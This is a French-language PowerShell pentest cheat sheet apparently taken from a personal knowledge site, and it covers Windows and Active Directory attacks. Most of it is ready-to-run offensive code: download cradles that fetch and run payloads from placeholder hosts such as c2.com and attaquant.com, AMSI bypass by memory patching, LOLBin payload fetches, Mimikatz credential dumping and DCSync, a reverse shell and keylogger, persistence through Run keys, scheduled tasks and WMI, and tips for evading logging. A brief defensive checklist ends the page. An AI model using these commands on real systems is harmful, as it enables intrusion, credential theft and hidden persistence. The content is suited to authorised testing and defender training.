Garden of KnowledgeApplied Sciences › Computer Science › Software › Security › Active Directory
March 22, 2026

PowerShell Pentest

PowerShell est un vecteur privilégié pour le pentest Windows : accès natif à .NET, WMI, et l’ensemble des API Windows, sans dépôt de binaires sur disque. La maîtrise de PowerShell est essentielle pour les phases de post-exploitation, l’énumération AD, et la création de charges discètes.

Exécution et contournement de l’ExecutionPolicy§

# ExecutionPolicy — contrôle quels scripts peuvent s'exécuter
# N'est PAS une barrière de sécurité (contournable trivialement)
Get-ExecutionPolicy -List

# Bypass de l'ExecutionPolicy (plusieurs méthodes)
powershell -ExecutionPolicy Bypass -File script.ps1
powershell -ExecutionPolicy Unrestricted -File script.ps1
powershell -ep bypass

# Lire et exécuter un script (stdin)
Get-Content script.ps1 | powershell -

# Encoder la commande en base64 (contourne les restrictions de parsing)
$cmd = 'IEX (New-Object Net.WebClient).DownloadString("http://attaquant.com/payload.ps1")'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
$encoded = [Convert]::ToBase64String($bytes)
powershell -EncodedCommand $encoded

# Lancer une session PowerShell 2.0 (sans AMSI, sans logging amélioré)
powershell -version 2 -ExecutionPolicy Bypass

Download Cradles — Chargement en mémoire§

Le chargement en mémoire évite le dépôt de fichiers sur disque (contourne certains AV).

# IEX + WebClient (classique)
IEX (New-Object Net.WebClient).DownloadString('http://attaquant.com/script.ps1')

# IEX + alias
(New-Object Net.WebClient).DownloadString('http://c2.com/payload.ps1') | IEX

# Invoke-Expression via variable
$code = (New-Object Net.WebClient).DownloadString('http://c2.com/p.ps1')
Invoke-Expression $code

# WebRequest (cmdlet PowerShell)
IEX (Invoke-WebRequest 'http://c2.com/payload.ps1' -UseBasicParsing).Content

# Via BitsTransfer (utilise BITS — Background Intelligent Transfer Service)
Start-BitsTransfer -Source 'http://c2.com/payload.ps1' -Destination $env:TEMP\p.ps1
IEX (Get-Content $env:TEMP\p.ps1 -Raw)

# Contourner les proxies d'entreprise
$wc = New-Object System.Net.WebClient
$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
IEX $wc.DownloadString('http://c2.com/payload.ps1')

# HTTPS avec vérification désactivée (certificat auto-signé C2)
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
IEX (New-Object Net.WebClient).DownloadString('https://c2.com/payload.ps1')

Énumération Active Directory§

# Sans modules tiers — via ADSI (Active Directory Service Interfaces)
# Lister tous les utilisateurs du domaine
$dom = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.SearchRoot = "LDAP://$($dom.Name)"

# Trouver tous les utilisateurs
$searcher.Filter = "(&(objectClass=user)(objectCategory=person))"
$searcher.FindAll() | ForEach-Object { $_.Properties['samaccountname'] }

# Trouver les administrateurs du domaine
$searcher.Filter = "(&(objectClass=group)(sAMAccountName=Domain Admins))"
$members = ($searcher.FindOne()).Properties['member']
$members | ForEach-Object { Write-Host $_ }

# Trouver les comptes Kerberoastables (SPN non vides)
$searcher.Filter = "(&(objectClass=user)(servicePrincipalName=*)(!(samAccountName=krbtgt)))"
$searcher.FindAll() | ForEach-Object {
    $user = $_.Properties['samaccountname']
    $spns = $_.Properties['serviceprincipalname']
    Write-Host "$user : $spns"
}

# Trouver les comptes avec délégation sans contrainte
$searcher.Filter = "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))"
$searcher.FindAll() | ForEach-Object { $_.Properties['dnshostname'] }
# PowerView (PowerSploit) — module d'énumération AD complet
# Chargement en mémoire
IEX (New-Object Net.WebClient).DownloadString('http://c2.com/PowerView.ps1')

# Informations sur le domaine
Get-Domain
Get-DomainController
Get-DomainTrust

# Utilisateurs et groupes
Get-DomainUser | Select-Object samaccountname, description, pwdlastset
Get-DomainGroupMember -Identity "Domain Admins"
Get-DomainUser -SPN  # Kerberoastable

# Ordinateurs et sessions
Get-DomainComputer | Select-Object dnshostname, operatingsystem
Get-NetSession -ComputerName DC01  # Qui est connecté sur DC01
Find-LocalAdminAccess               # Sur quelles machines on a des droits admin

# ACLs intéressantes (GenericAll, WriteDACL, etc.)
Find-InterestingDomainAcl -ResolveGUIDs | Select-Object ObjectDN, ActiveDirectoryRights, IdentityReferenceName

# GPOs
Get-DomainGPO | Select-Object displayname, gpcfilesyspath
Get-DomainGPOLocalGroup  # Qui est admin local via GPO

Remoting PowerShell (WinRM)§

# WinRM — exécution de commandes à distance (port 5985 HTTP, 5986 HTTPS)

# Test de connectivité WinRM
Test-WSMan -ComputerName DC01

# Session interactive
Enter-PSSession -ComputerName DC01 -Credential (Get-Credential)

# Exécution de commande unique
Invoke-Command -ComputerName DC01 -ScriptBlock { Get-Process } -Credential $creds

# Exécution sur plusieurs machines en parallèle
$machines = @('SRV01', 'SRV02', 'SRV03')
Invoke-Command -ComputerName $machines -ScriptBlock {
    whoami; hostname; ipconfig
} -Credential $creds

# Persistance de session (pour éviter les connexions multiples)
$session = New-PSSession -ComputerName DC01 -Credential $creds
Invoke-Command -Session $session -ScriptBlock { Get-ADUser -Filter * }
Remove-PSSession $session

# Avec Pass-the-Hash (via Invoke-TheHash / impacket)
# winrm_exec.py domaine/alice:@192.168.1.10 -hashes :NTLM_HASH

Bypass AMSI§

AMSI (Antimalware Scan Interface) analyse les scripts PowerShell avant exécution.

# AMSI — fonctionnement
# PowerShell appelle AmsiScanBuffer() avant d'exécuter tout bloc de code
# L'AV implémente le provider AMSI et peut bloquer l'exécution

# Bypass classique — patch en mémoire du provider AMSI
# (fonctionne car PowerShell est non-signé)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') |
    %{$_.GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)}

# Bypass via réflexion (obfusqué pour éviter la détection par signature)
$a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$b=$a.GetField('amsiInitFailed','NonPublic,Static')
$b.SetValue($null,$true)

# Bypass via corrupton du contexte AMSI (plus furtif)
$mem = [System.Runtime.InteropServices.Marshal]
$ptr = $mem::GetDelegateForFunctionPointer(
    (Add-Type -memberDefinition '[DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")] public static extern IntPtr GetModuleHandle(string lpModuleName);' -Name Win32 -passthru)::GetProcAddress(
    ([Win32]::GetModuleHandle("amsi.dll")), "AmsiScanBuffer"),
    (Add-Type -MemberDefinition '' -Name T -passthru -ReferencedAssemblies mscorlib)
)

Techniques Living off the Land§

Utiliser des outils légitimes Windows pour éviter les alertes AV/EDR.

# Téléchargement de fichiers sans wget/curl
# certutil — décodage base64
certutil -urlcache -split -f http://c2.com/payload.exe payload.exe

# bitsadmin (obsolète mais présent)
bitsadmin /transfer myJob http://c2.com/payload.exe C:\Windows\Temp\payload.exe

# Copie via WebDAV (file:// ou WebDAV share)
copy \\attacker.com@80\share\payload.exe C:\Windows\Temp\

# Exécution sans écrire sur disque
# mshta — exécuter du VBScript/JScript via HTA
mshta http://c2.com/payload.hta

# regsvr32 (squiblydoo) — COM scriptlet
regsvr32 /s /n /u /i:http://c2.com/payload.sct scrobj.dll

# rundll32 — exécuter des fonctions de DLL
rundll32 javascript:"\..\mshtml,RunHTMLApplication ";eval("w=new ActiveXObject('WScript.Shell');w.run('powershell ...');")

# Énumération sans PowerShell (cmd.exe)
wmic useraccount get name,sid
wmic group where "name='Domain Admins'" get name
net localgroup administrators

Modules offensifs utiles§

# PowerSploit — collection de modules offensifs
IEX (New-Object Net.WebClient).DownloadString('http://c2.com/PowerSploit/Recon/PowerView.ps1')
IEX (New-Object Net.WebClient).DownloadString('http://c2.com/PowerSploit/Privesc/PowerUp.ps1')
IEX (New-Object Net.WebClient).DownloadString('http://c2.com/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1')

# PowerUp — élévation de privilèges Windows
Invoke-AllChecks            # Identifier tous les vecteurs PrivEsc
Get-ServiceUnquoted         # Services avec chemin non quoté
Get-ModifiableServiceFile   # Services dont le binaire est modifiable
Invoke-ServiceAbuse         # Exploiter un service vulnérable

# Invoke-Mimikatz (PowerShell Mimikatz)
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'
Invoke-Mimikatz -Command '"lsadump::dcsync /user:krbtgt"'

# Nishang — collection de scripts offensifs
# Reverse shell PowerShell
Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.100 -Port 4444

# Keylogger PowerShell
Invoke-Keylogger

Persistance via PowerShell§

# Registry Run Key
$RegPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Set-ItemProperty -Path $RegPath -Name "Update" -Value 'powershell -ep bypass -w hidden -c "IEX (New-Object Net.WebClient).DownloadString(\"http://c2.com/p.ps1\")"'

# Tâche planifiée
$action = New-ScheduledTaskAction -Execute "powershell.exe" `
    -Argument "-ep bypass -w hidden -c IEX (New-Object Net.WebClient).DownloadString('http://c2.com/p.ps1')"
$trigger = New-ScheduledTaskTrigger -AtLogOn
Register-ScheduledTask -TaskName "Update" -Action $action -Trigger $trigger -RunLevel Highest

# WMI Subscription permanente (sans fichier, survit aux reboots)
$FilterArgs = @{
    Name = 'BadFilter'
    EventNameSpace = 'root\CimV2'
    QueryLanguage = 'WQL'
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
$Filter = New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs

$ConsumerArgs = @{
    Name = 'BadConsumer'
    CommandLineTemplate = 'powershell.exe -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString(\"http://c2.com/p.ps1\")"'
}
$Consumer = New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs

New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property @{
    Filter = [Ref]$Filter
    Consumer = [Ref]$Consumer
}

Logging et détection§

Journaux à connaître pour éviter la détection :

Event ID 400 / 403 : démarrage/arrêt d'un pipeline PowerShell
Event ID 4103 : Module Logging — log de chaque cmdlet appelée
Event ID 4104 : Script Block Logging — log de TOUT le code PowerShell exécuté
Event ID 4688 : création de processus (avec ligne de commande si configuré)
Event ID 7045 : nouveau service installé

Contournement du Script Block Logging :
  → Utiliser PowerShell 2.0 (pas de Script Block Logging)
  → Patcher le module de logging en mémoire
  → Utiliser des binaires .NET directement (C# inline avec Add-Type)

Bonne pratique défensive :
  ✓ Activer Script Block Logging et Module Logging (GPO)
  ✓ Activer Transcription PowerShell (log de toutes les sessions)
  ✓ Utiliser PowerShell Constrained Language Mode (CLM)
  ✓ AppLocker / WDAC pour restreindre les scripts non signés
  ✓ Bloquer PowerShell v2 (désinstaller la feature Windows)
—The Gardener